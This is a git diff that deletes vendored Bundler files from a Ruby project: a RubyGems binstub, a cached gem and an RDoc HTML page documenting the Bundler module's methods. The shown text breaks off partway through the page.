-#!/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/bin/ruby
-#
-# This file was generated by RubyGems.
-#
-# The application 'bundler' is installed as part of a gem, and
-# this file is here to facilitate running it.
-#
-
-require 'rubygems'
-
-version = ">= 0"
-
-if ARGV.first =~ /^_(.*)_$/ and Gem::Version.correct? $1 then
-  version = $1
-  ARGV.shift
-end
-
-gem 'bundler', version
-load Gem.bin_path('bundler', 'bundle', version)
diff --git a/vendor/plugins/bundler/cache/bundler-1.0.18.gem b/vendor/plugins/bundler/cache/bundler-1.0.18.gem
deleted file mode 100644
index 2b592ead..00000000
Binary files a/vendor/plugins/bundler/cache/bundler-1.0.18.gem and /dev/null differ
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler.html
deleted file mode 100644
index 1a14b739..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler.html
+++ /dev/null
@@ -1,1748 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Module: Bundler</title>
-
-	<link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
-
-	<script src="./js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="./js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="./js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="./js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-
-</head>
-<body class="module">
-
-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="./index.html">Home</a>
-          <a href="./index.html#classes">Classes</a>
-          <a href="./index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
-
-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="./lib/bundler/cli_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/cli.rb">lib/bundler/cli.rb</a></li>
-					
-						<li><a href="./lib/bundler/definition_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/definition.rb">lib/bundler/definition.rb</a></li>
-					
-						<li><a href="./lib/bundler/dependency_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/dependency.rb">lib/bundler/dependency.rb</a></li>
-					
-						<li><a href="./lib/bundler/deployment_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/deployment.rb">lib/bundler/deployment.rb</a></li>
-					
-						<li><a href="./lib/bundler/dsl_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/dsl.rb">lib/bundler/dsl.rb</a></li>
-					
-						<li><a href="./lib/bundler/environment_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/environment.rb">lib/bundler/environment.rb</a></li>
-					
-						<li><a href="./lib/bundler/gem_helper_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/gem_helper.rb">lib/bundler/gem_helper.rb</a></li>
-					
-						<li><a href="./lib/bundler/graph_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/graph.rb">lib/bundler/graph.rb</a></li>
-					
-						<li><a href="./lib/bundler/index_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/index.rb">lib/bundler/index.rb</a></li>
-					
-						<li><a href="./lib/bundler/installer_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/installer.rb">lib/bundler/installer.rb</a></li>
-					
-						<li><a href="./lib/bundler/lazy_specification_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/lazy_specification.rb">lib/bundler/lazy_specification.rb</a></li>
-					
-						<li><a href="./lib/bundler/lockfile_parser_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/lockfile_parser.rb">lib/bundler/lockfile_parser.rb</a></li>
-					
-						<li><a href="./lib/bundler/remote_specification_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/remote_specification.rb">lib/bundler/remote_specification.rb</a></li>
-					
-						<li><a href="./lib/bundler/resolver_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/resolver.rb">lib/bundler/resolver.rb</a></li>
-					
-						<li><a href="./lib/bundler/rubygems_ext_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/rubygems_ext.rb">lib/bundler/rubygems_ext.rb</a></li>
-					
-						<li><a href="./lib/bundler/rubygems_integration_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/rubygems_integration.rb">lib/bundler/rubygems_integration.rb</a></li>
-					
-						<li><a href="./lib/bundler/runtime_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/runtime.rb">lib/bundler/runtime.rb</a></li>
-					
-						<li><a href="./lib/bundler/settings_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/settings.rb">lib/bundler/settings.rb</a></li>
-					
-						<li><a href="./lib/bundler/shared_helpers_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/shared_helpers.rb">lib/bundler/shared_helpers.rb</a></li>
-					
-						<li><a href="./lib/bundler/source_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/source.rb">lib/bundler/source.rb</a></li>
-					
-						<li><a href="./lib/bundler/spec_set_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/spec_set.rb">lib/bundler/spec_set.rb</a></li>
-					
-						<li><a href="./lib/bundler/ui_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/ui.rb">lib/bundler/ui.rb</a></li>
-					
-						<li><a href="./lib/bundler/version_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/version.rb">lib/bundler/version.rb</a></li>
-					
-						<li><a href="./lib/bundler_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler.rb">lib/bundler.rb</a></li>
-					
-					</ul>
-				</div>
-			</div>
-
-			
-		</div>
-
-		<div id="class-metadata">
-
-			<!-- Parent Class -->
-			
-
-			<!-- Namespace Contents -->
-			
-			<div id="namespace-list-section" class="section">
-				<h3 class="section-header">Namespace</h3>
-				<ul class="link-list">
-					
-					<li><span class="type">MODULE</span> <a href="Bundler/GemHelpers.html">Bundler::GemHelpers</a></li>
-					
-					<li><span class="type">MODULE</span> <a href="Bundler/MatchPlatform.html">Bundler::MatchPlatform</a></li>
-					
-					<li><span class="type">MODULE</span> <a href="Bundler/SharedHelpers.html">Bundler::SharedHelpers</a></li>
-					
-					<li><span class="type">MODULE</span> <a href="Bundler/Source.html">Bundler::Source</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/BundlerError.html">Bundler::BundlerError</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/CLI.html">Bundler::CLI</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/Definition.html">Bundler::Definition</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/DepProxy.html">Bundler::DepProxy</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/Dependency.html">Bundler::Dependency</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/Deployment.html">Bundler::Deployment</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/DeprecatedError.html">Bundler::DeprecatedError</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/Dsl.html">Bundler::Dsl</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/DslError.html">Bundler::DslError</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/Environment.html">Bundler::Environment</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/GemHelper.html">Bundler::GemHelper</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/GemNotFound.html">Bundler::GemNotFound</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/GemfileError.html">Bundler::GemfileError</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/GemfileNotFound.html">Bundler::GemfileNotFound</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/GemspecError.html">Bundler::GemspecError</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/GitError.html">Bundler::GitError</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/Graph.html">Bundler::Graph</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/GraphNode.html">Bundler::GraphNode</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/Index.html">Bundler::Index</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/Installer.html">Bundler::Installer</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/InvalidOption.html">Bundler::InvalidOption</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/InvalidSpecSet.html">Bundler::InvalidSpecSet</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/LazySpecification.html">Bundler::LazySpecification</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/LockfileParser.html">Bundler::LockfileParser</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/PathError.html">Bundler::PathError</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/ProductionError.html">Bundler::ProductionError</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/RemoteSpecification.html">Bundler::RemoteSpecification</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/Resolver.html">Bundler::Resolver</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/RubygemsIntegration.html">Bundler::RubygemsIntegration</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/Runtime.html">Bundler::Runtime</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/Settings.html">Bundler::Settings</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/SpecSet.html">Bundler::SpecSet</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/UI.html">Bundler::UI</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Bundler/VersionConflict.html">Bundler::VersionConflict</a></li>
-					
-				</ul>
-			</div>
-			
-
-			<!-- Method Quickref -->
-			
-			<div id="method-list-section" class="section">
-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
-					<li><a href="#method-c-app_cache">::app_cache</a></li>
-					
-					<li><a href="#method-c-app_config_path">::app_config_path</a></li>
-					
-					<li><a href="#method-c-bin_path">::bin_path</a></li>
-					
-					<li><a href="#method-c-bundle_path">::bundle_path</a></li>
-					
-					<li><a href="#method-c-cache">::cache</a></li>
-					
-					<li><a href="#method-c-configure">::configure</a></li>
-					
-					<li><a href="#method-c-configure_gem_home_and_path">::configure_gem_home_and_path</a></li>
-					
-					<li><a href="#method-c-default_gemfile">::default_gemfile</a></li>
-					
-					<li><a href="#method-c-default_lockfile">::default_lockfile</a></li>
-					
-					<li><a href="#method-c-definition">::definition</a></li>
-					
-					<li><a href="#method-c-environment">::environment</a></li>
-					
-					<li><a href="#method-c-home">::home</a></li>
-					
-					<li><a href="#method-c-install_path">::install_path</a></li>
-					
-					<li><a href="#method-c-load">::load</a></li>
-					
-					<li><a href="#method-c-load_gemspec">::load_gemspec</a></li>
-					
-					<li><a href="#method-c-mkdir_p">::mkdir_p</a></li>
-					
-					<li><a href="#method-c-read_file">::read_file</a></li>
-					
-					<li><a href="#method-c-require">::require</a></li>
-					
-					<li><a href="#method-c-requires_sudo%3F">::requires_sudo?</a></li>
-					
-					<li><a href="#method-c-root">::root</a></li>
-					
-					<li><a href="#method-c-ruby_scope">::ruby_scope</a></li>
-					
-					<li><a href="#method-c-settings">::settings</a></li>
-					
-					<li><a href="#method-c-setup">::setup</a></li>
-					
-					<li><a href="#method-c-specs_path">::specs_path</a></li>
-					
-					<li><a href="#method-c-sudo">::sudo</a></li>
-					
-					<li><a href="#method-c-tmp">::tmp</a></li>
-					
-					<li><a href="#method-c-ui">::ui</a></li>
-					
-					<li><a href="#method-c-upgrade_lockfile">::upgrade_lockfile</a></li>
-					
-					<li><a href="#method-c-user_bundle_path">::user_bundle_path</a></li>
-					
-					<li><a href="#method-c-with_clean_env">::with_clean_env</a></li>
-					
-				</ul>
-			</div>
-			
-
-			<!-- Included Modules -->
-			
-		</div>
-
-		<div id="project-metadata">
-			
-			
-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
-				<ul>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle.html">bundle</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-benchmark_txt.html">bundle-benchmark.txt</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-config.html">bundle-config</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-config_txt.html">bundle-config.txt</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-exec.html">bundle-exec</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-exec_txt.html">bundle-exec.txt</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-install.html">bundle-install</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-install_txt.html">bundle-install.txt</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-package.html">bundle-package</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-package_txt.html">bundle-package.txt</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-update.html">bundle-update</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-update_txt.html">bundle-update.txt</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle_txt.html">bundle.txt</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/gemfile_5_txt.html">gemfile.5.txt</a></li>
-				
-					<li class="file"><a href="./lib/bundler/templates/Gemfile.html">Gemfile</a></li>
-				
-				</ul>
-			</div>
-			
-
-			<div id="classindex-section" class="section project-section">
-				<h3 class="section-header">Class Index
-					<span class="search-toggle"><img src="./images/find.png"
-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
-				<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
-				<fieldset>
-					<legend>Quicksearch</legend>
-					<input type="text" name="quicksearch" value=""
-						class="quicksearch-field" />
-				</fieldset>
-				</form>
-
-				<ul class="link-list">
-				
-					<li><a href="./Bundler.html">Bundler</a></li>
-				
-					<li><a href="./Bundler/BundlerError.html">Bundler::BundlerError</a></li>
-				
-					<li><a href="./Bundler/CLI.html">Bundler::CLI</a></li>
-				
-					<li><a href="./Bundler/Definition.html">Bundler::Definition</a></li>
-				
-					<li><a href="./Bundler/DepProxy.html">Bundler::DepProxy</a></li>
-				
-					<li><a href="./Bundler/Dependency.html">Bundler::Dependency</a></li>
-				
-					<li><a href="./Bundler/Deployment.html">Bundler::Deployment</a></li>
-				
-					<li><a href="./Bundler/DeprecatedError.html">Bundler::DeprecatedError</a></li>
-				
-					<li><a href="./Bundler/Dsl.html">Bundler::Dsl</a></li>
-				
-					<li><a href="./Bundler/DslError.html">Bundler::DslError</a></li>
-				
-					<li><a href="./Bundler/Environment.html">Bundler::Environment</a></li>
-				
-					<li><a href="./Bundler/GemHelper.html">Bundler::GemHelper</a></li>
-				
-					<li><a href="./Bundler/GemHelpers.html">Bundler::GemHelpers</a></li>
-				
-					<li><a href="./Bundler/GemNotFound.html">Bundler::GemNotFound</a></li>
-				
-					<li><a href="./Bundler/GemfileError.html">Bundler::GemfileError</a></li>
-				
-					<li><a href="./Bundler/GemfileNotFound.html">Bundler::GemfileNotFound</a></li>
-				
-					<li><a href="./Bundler/GemspecError.html">Bundler::GemspecError</a></li>
-				
-					<li><a href="./Bundler/GitError.html">Bundler::GitError</a></li>
-				
-					<li><a href="./Bundler/Graph.html">Bundler::Graph</a></li>
-				
-					<li><a href="./Bundler/GraphNode.html">Bundler::GraphNode</a></li>
-				
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-				
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-				
-					<li><a href="./Bundler/LockfileParser.html">Bundler::LockfileParser</a></li>
-				
-					<li><a href="./Bundler/MatchPlatform.html">Bundler::MatchPlatform</a></li>
-				
-					<li><a href="./Bundler/PathError.html">Bundler::PathError</a></li>
-				
-					<li><a href="./Bundler/ProductionError.html">Bundler::ProductionError</a></li>
-				
-					<li><a href="./Bundler/RemoteSpecification.html">Bundler::RemoteSpecification</a></li>
-				
-					<li><a href="./Bundler/Resolver.html">Bundler::Resolver</a></li>
-				
-					<li><a href="./Bundler/Resolver/SpecGroup.html">Bundler::Resolver::SpecGroup</a></li>
-				
-					<li><a href="./Bundler/RubygemsIntegration.html">Bundler::RubygemsIntegration</a></li>
-				
-					<li><a href="./Bundler/RubygemsIntegration/AlmostModern.html">Bundler::RubygemsIntegration::AlmostModern</a></li>
-				
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-				
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-				
-					<li><a href="./Bundler/RubygemsIntegration/Gem/SourceIndex.html">Bundler::RubygemsIntegration::Gem::SourceIndex</a></li>
-				
-					<li><a href="./Bundler/RubygemsIntegration/Legacy.html">Bundler::RubygemsIntegration::Legacy</a></li>
-				
-					<li><a href="./Bundler/RubygemsIntegration/Modern.html">Bundler::RubygemsIntegration::Modern</a></li>
-				
-					<li><a href="./Bundler/RubygemsIntegration/Transitional.html">Bundler::RubygemsIntegration::Transitional</a></li>
-				
-					<li><a href="./Bundler/Runtime.html">Bundler::Runtime</a></li>
-				
-					<li><a href="./Bundler/Settings.html">Bundler::Settings</a></li>
-				
-					<li><a href="./Bundler/SharedHelpers.html">Bundler::SharedHelpers</a></li>
-				
-					<li><a href="./Bundler/Source.html">Bundler::Source</a></li>
-				
-					<li><a href="./Bundler/Source/Git.html">Bundler::Source::Git</a></li>
-				
-					<li><a href="./Bundler/Source/Path.html">Bundler::Source::Path</a></li>
-				
-					<li><a href="./Bundler/Source/Path/Installer.html">Bundler::Source::Path::Installer</a></li>
-				
-					<li><a href="./Bundler/Source/Rubygems.html">Bundler::Source::Rubygems</a></li>
-				
-					<li><a href="./Bundler/SpecSet.html">Bundler::SpecSet</a></li>
-				
-					<li><a href="./Bundler/UI.html">Bundler::UI</a></li>
-				
-					<li><a href="./Bundler/UI/RGProxy.html">Bundler::UI::RGProxy</a></li>
-				
-					<li><a href="./Bundler/UI/Shell.html">Bundler::UI::Shell</a></li>
-				
-					<li><a href="./Bundler/VersionConflict.html">Bundler::VersionConflict</a></li>
-				
-					<li><a href="./Thor.html">Thor</a></li>
-				
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-				
-					<li><a href="./Thor/Actions/ClassMethods.html">Thor::Actions::ClassMethods</a></li>
-				
-					<li><a href="./Thor/Base.html">Thor::Base</a></li>
-				
-					<li><a href="./Thor/Base/ClassMethods.html">Thor::Base::ClassMethods</a></li>
-				
-					<li><a href="./Thor/DynamicTask.html">Thor::DynamicTask</a></li>
-				
-					<li><a href="./Thor/Error.html">Thor::Error</a></li>
-				
-					<li><a href="./Thor/HiddenTask.html">Thor::HiddenTask</a></li>
-				
-					<li><a href="./Thor/Invocation.html">Thor::Invocation</a></li>
-				
-					<li><a href="./Thor/Invocation/ClassMethods.html">Thor::Invocation::ClassMethods</a></li>
-				
-					<li><a href="./Thor/InvocationError.html">Thor::InvocationError</a></li>
-				
-					<li><a href="./Thor/MalformattedArgumentError.html">Thor::MalformattedArgumentError</a></li>
-				
-					<li><a href="./Thor/RequiredArgumentMissingError.html">Thor::RequiredArgumentMissingError</a></li>
-				
-					<li><a href="./Thor/Shell.html">Thor::Shell</a></li>
-				
-					<li><a href="./Thor/Shell/Basic.html">Thor::Shell::Basic</a></li>
-				
-					<li><a href="./Thor/Shell/Color.html">Thor::Shell::Color</a></li>
-				
-					<li><a href="./Thor/Shell/HTML.html">Thor::Shell::HTML</a></li>
-				
-					<li><a href="./Thor/Task.html">Thor::Task</a></li>
-				
-					<li><a href="./Thor/UndefinedTaskError.html">Thor::UndefinedTaskError</a></li>
-				
-					<li><a href="./Thor/UnknownArgumentError.html">Thor::UnknownArgumentError</a></li>
-				
-					<li><a href="./Thor/Util.html">Thor::Util</a></li>
-				
-					<li><a href="./Gem.html">Gem</a></li>
-				
-					<li><a href="./Gem/Dependency.html">Gem::Dependency</a></li>
-				
-					<li><a href="./Gem/Platform.html">Gem::Platform</a></li>
-				
-					<li><a href="./Gem/Requirement.html">Gem::Requirement</a></li>
-				
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-				
-				</ul>
-				<div id="no-class-search-results" style="display: none;">No matching classes.</div>
-			</div>
-
-			
-		</div>
-	</div>
-
-	<div id="documentation">
-		<h1 class="module">Bundler</h1>
-
-		<div id="description">
-			
-		</div>
-
-		<!-- Constants -->
-		
-		<div id="constants-list" class="section">
-			<h3 class="section-header">Constants</h3>
-			<dl>
-			
-				<dt><a name="VERSION">VERSION</a></dt>
-				
-				<dd class="description"><p>
-We&#8217;re doing this because we might write tests that deal with other
-versions of bundler and we are unsure how to handle this better.
-</p></dd>
-				
-			
-				<dt><a name="ORIGINAL_ENV">ORIGINAL_ENV</a></dt>
-				
-				<dd class="description"></dd>
-				
-			
-				<dt><a name="WINDOWS">WINDOWS</a></dt>
-				
-				<dd class="description"></dd>
-				
-			
-				<dt><a name="FREEBSD">FREEBSD</a></dt>
-				
-				<dd class="description"></dd>
-				
-			
-				<dt><a name="NULL">NULL</a></dt>
-				
-				<dd class="description"></dd>
-				
-			
-			</dl>
-		</div>
-		
-
-		<!-- Attributes -->
-		
-		<div id="attribute-method-details" class="method-section section">
-			<h3 class="section-header">Attributes</h3>
-
-			
-			<div id="rubygems-attribute-method" class="method-detail">
-				<a name="rubygems"></a>
-				
-				<div class="method-heading attribute-method-heading">
-					<span class="method-name">rubygems</span><span
-						class="attribute-access-type">[R]</span>
-				</div>
-
-				<div class="method-description">
-				
-				
-				
-				</div>
-			</div>
-			
-			<div id="ui-attribute-method" class="method-detail">
-				<a name="ui"></a>
-				
-				<a name="ui="></a>
-				
-				<div class="method-heading attribute-method-heading">
-					<span class="method-name">ui</span><span
-						class="attribute-access-type">[W]</span>
-				</div>
-
-				<div class="method-description">
-				
-				
-				
-				</div>
-			</div>
-			
-			<div id="bundle-path-attribute-method" class="method-detail">
-				<a name="bundle_path"></a>
-				
-				<a name="bundle_path="></a>
-				
-				<div class="method-heading attribute-method-heading">
-					<span class="method-name">bundle_path</span><span
-						class="attribute-access-type">[W]</span>
-				</div>
-
-				<div class="method-description">
-				
-				
-				
-				</div>
-			</div>
-			
-		</div>
-		
-
-		<!-- Methods -->
-		
-		<div id="public-class-method-details" class="method-section section">
-			<h3 class="section-header">Public Class Methods</h3>
-
-		
-			<div id="app-cache-method" class="method-detail ">
-				<a name="method-c-app_cache"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">app_cache</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="app-cache-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler.rb, line 174</span>
-174:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">app_cache</span>
-175:       <span class="ruby-identifier">root</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;vendor/cache&quot;</span>)
-176:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="app-config-path-method" class="method-detail ">
-				<a name="method-c-app_config_path"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">app_config_path</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="app-config-path-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler.rb, line 168</span>
-168:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">app_config_path</span>
-169:       <span class="ruby-constant">ENV</span>[<span class="ruby-value str">'BUNDLE_APP_CONFIG'</span>] <span class="ruby-operator">?</span>
-170:         <span class="ruby-constant">Pathname</span>.<span class="ruby-identifier">new</span>(<span class="ruby-constant">ENV</span>[<span class="ruby-value str">'BUNDLE_APP_CONFIG'</span>]).<span class="ruby-identifier">expand_path</span>(<span class="ruby-identifier">root</span>) <span class="ruby-operator">:</span>
-171:         <span class="ruby-identifier">root</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">'.bundle'</span>)
-172:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="bin-path-method" class="method-detail ">
-				<a name="method-c-bin_path"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">bin_path</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="bin-path-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler.rb, line 92</span>
-92:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">bin_path</span>
-93:       <span class="ruby-ivar">@bin_path</span> <span class="ruby-operator">||=</span> <span class="ruby-keyword kw">begin</span>
-94:         <span class="ruby-identifier">path</span> = <span class="ruby-identifier">settings</span>[<span class="ruby-value">:bin</span>] <span class="ruby-operator">||</span> <span class="ruby-value str">&quot;bin&quot;</span>
-95:         <span class="ruby-identifier">path</span> = <span class="ruby-constant">Pathname</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">path</span>).<span class="ruby-identifier">expand_path</span>(<span class="ruby-identifier">root</span>)
-96:         <span class="ruby-constant">FileUtils</span>.<span class="ruby-identifier">mkdir_p</span>(<span class="ruby-identifier">path</span>)
-97:         <span class="ruby-constant">Pathname</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">path</span>).<span class="ruby-identifier">expand_path</span>
-98:       <span class="ruby-keyword kw">end</span>
-99:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="bundle-path-method" class="method-detail ">
-				<a name="method-c-bundle_path"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">bundle_path</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="bundle-path-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler.rb, line 88</span>
-88:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">bundle_path</span>
-89:       <span class="ruby-ivar">@bundle_path</span> <span class="ruby-operator">||=</span> <span class="ruby-constant">Pathname</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">settings</span>.<span class="ruby-identifier">path</span>).<span class="ruby-identifier">expand_path</span>(<span class="ruby-identifier">root</span>)
-90:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="cache-method" class="method-detail ">
-				<a name="method-c-cache"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">cache</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="cache-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler.rb, line 160</span>
-160:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">cache</span>
-161:       <span class="ruby-identifier">bundle_path</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;cache/bundler&quot;</span>)
-162:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="configure-method" class="method-detail ">
-				<a name="method-c-configure"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">configure</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="configure-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler.rb, line 77</span>
-77:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">configure</span>
-78:       <span class="ruby-ivar">@configured</span> <span class="ruby-operator">||=</span> <span class="ruby-keyword kw">begin</span>
-79:         <span class="ruby-identifier">configure_gem_home_and_path</span>
-80:         <span class="ruby-keyword kw">true</span>
-81:       <span class="ruby-keyword kw">end</span>
-82:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="default-gemfile-method" class="method-detail ">
-				<a name="method-c-default_gemfile"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">default_gemfile</span><span
-						class="method-args">()</span>
